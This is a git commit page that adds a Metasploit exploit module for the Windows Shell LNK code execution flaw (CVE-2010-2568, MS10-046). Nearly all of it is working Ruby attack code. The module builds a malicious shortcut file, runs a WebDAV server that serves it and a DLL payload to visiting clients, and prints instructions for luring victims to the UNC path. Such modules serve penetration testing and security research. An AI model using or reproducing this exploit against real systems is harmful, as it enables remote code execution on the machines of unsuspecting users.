add msb and rename module
git-svn-id: file:///home/svn/framework3/trunk@9955 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8e4e0600db
commit
459c046ac2
|
@ -0,0 +1,456 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
#
|
||||
# This module acts as an HTTP server
|
||||
#
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Shell LNK Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the handling of Windows
|
||||
Shortcut files (.LNK) that contain an icon resource pointing to a
|
||||
malicious DLL. This module creates a WebDAV service that can be used
|
||||
to run an arbitrary payload when accessed as a UNC path.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm', # Module itself
|
||||
'jduck', # WebDAV implementation, UNCHOST var
|
||||
'B_H' # Clean LNK template
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2010-2568'],
|
||||
['OSVDB', '66387'],
|
||||
['MSB', 'MS10-046'],
|
||||
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 16 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
|
||||
OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SSL', 'SSLVersion') # Just for now
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_error("Unexpected request method encountered: #{request.method}")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
webdav = "\\\\#{myhost}\\"
|
||||
|
||||
if (request.uri =~ /\.dll$/i)
|
||||
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
# Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/
|
||||
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
if (request.uri =~ /\.lnk$/i)
|
||||
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
|
||||
|
||||
data = generate_link("#{@exploit_unc}#{@exploit_dll}")
|
||||
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
|
||||
resp = create_response(200, "OK")
|
||||
|
||||
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|
|
||||
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
# 'DASL' => '<DAV:sql>',
|
||||
# 'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, GET, PROPFIND',
|
||||
'Public' => 'OPTIONS, GET, PROPFIND'
|
||||
}
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# PROPFIND requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path =~ /\.dll$/i
|
||||
# Response for the DLL
|
||||
print_status("Sending DLL multistatus for #{path} ...")
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{@exploit_dll}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if path =~ /\.lnk$/i
|
||||
# Response for the DLL
|
||||
print_status("Sending DLL multistatus for #{path} ...")
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{@exploit_lnk}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>shortcut</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if path !~ /\/$/
|
||||
|
||||
if path.index(".")
|
||||
print_status("Sending 404 for #{path} ...")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
print_status("Sending 301 for #{path} ...")
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Sending directory multistatus for #{path} ...")
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
|
||||
subdirectory = %Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
files = %Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{@exploit_dll}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{@exploit_lnk}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>shortcut</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
if request["Depth"].to_i > 0
|
||||
if path.scan("/").length < 2
|
||||
body << subdirectory
|
||||
else
|
||||
body << files
|
||||
end
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def generate_link(unc)
|
||||
uni_unc = unc.unpack("C*").pack("v*")
|
||||
path = ''
|
||||
path << [
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack("C*")
|
||||
path << uni_unc
|
||||
|
||||
# LinkHeader
|
||||
ret = [
|
||||
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
|
||||
idlist_data = ''
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [path.length + 2].pack('v')
|
||||
idlist_data << path
|
||||
idlist_data << [0x00].pack('v') # TERMINAL WOO
|
||||
|
||||
# LinkTargetIDList
|
||||
ret << [idlist_data.length].pack('v') # IDListSize
|
||||
ret << idlist_data
|
||||
|
||||
# ExtraData blocks (none)
|
||||
ret << [rand(4)].pack('V')
|
||||
|
||||
# Patch in the LinkFlags
|
||||
ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
|
||||
ret
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
unc = "\\\\"
|
||||
if (datastore['UNCHOST'])
|
||||
unc << datastore['UNCHOST'].dup
|
||||
else
|
||||
unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
|
||||
end
|
||||
unc << "\\"
|
||||
unc << rand_text_alpha(rand(8)+4)
|
||||
unc << "\\"
|
||||
|
||||
@exploit_unc = unc
|
||||
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
|
||||
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
|
||||
end
|
||||
|
||||
print_status("")
|
||||
print_status("Send vulnerable clients to #{@exploit_unc}.")
|
||||
print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")
|
||||
print_status("")
|
||||
|
||||
super
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue